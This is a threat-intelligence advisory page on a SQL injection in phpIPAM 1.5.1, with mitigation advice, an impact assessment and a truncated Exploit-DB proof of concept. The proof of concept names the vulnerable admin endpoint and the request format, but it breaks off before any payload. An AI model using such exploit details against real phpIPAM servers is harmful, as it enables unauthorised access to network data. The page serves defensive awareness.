ExploitPublished 2 Dec 2025

phpIPAM 1.5.1 · SQL Injection

Source Exploit-DB RSS Feed

Severity

Medium

Rated by Threat Radar

Data as of 30 Dec 2025, 22:16 UTC

What to do

AI-suggested

European organizations should immediately inventory all phpIPAM 1.5.1 deployments and restrict access to trusted internal networks only, employing network segmentation and firewall rules to limit exposure. Conduct thorough code reviews and penetration testing focused on SQL Injection vectors within phpIPAM. Implement web application firewalls (WAFs) with SQL Injection detection and prevention capabilities to block malicious requests. Regularly monitor logs for suspicious database query patterns and unauthorized access attempts. Educate IT staff on the risks and signs of SQL Injection exploitation. Finally, maintain regular backups of phpIPAM databases to enable recovery in case of data tampering or loss.

Description

phpIPAM 1.5.1 - SQL Injection

Impact

For European organizations, exploitation of this SQL Injection vulnerability in phpIPAM 1.5.1 could result in significant confidentiality breaches, exposing sensitive network topology and IP allocation data. Integrity of network management data could be compromised, leading to incorrect IP assignments or network misconfigurations, potentially causing service disruptions. Availability might also be affected if attackers manipulate or delete critical database records. Organizations in sectors with stringent data protection requirements, such as finance, healthcare, and government, face increased regulatory and operational risks. The presence of publicly available exploit code raises the likelihood of attacks, especially against externally accessible phpIPAM instances. The medium severity rating reflects a balance between the potential impact and the current lack of evidence for widespread exploitation.

Indicators of compromise

Exploit source code

Exploit code for phpIPAM 1.5.1 - SQL Injection1,420 characters

# Exploit Title: phpIPAM 1.5.1 - SQL Injection
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage:  https://github.com/phpipam/phpipam/
# Software Link: https://github.com/phpipam/phpipam/
# Version: 1.5.1 
# Tested on: Windows
# CVE : CVE-2023-1211


Proof Of Concept
POST /app/admin/custom-fields/edit-result.php HTTP/1.1
Host: phpipam
Cookie: PHPSESSID=<valid_session_id>; csrf_cookie=<valid_csrf_token>
Content-Type: application/x-www-form-urlencoded

csrf_cookie=<valid_csrf_token…

References

Community reviews

Loading reviews…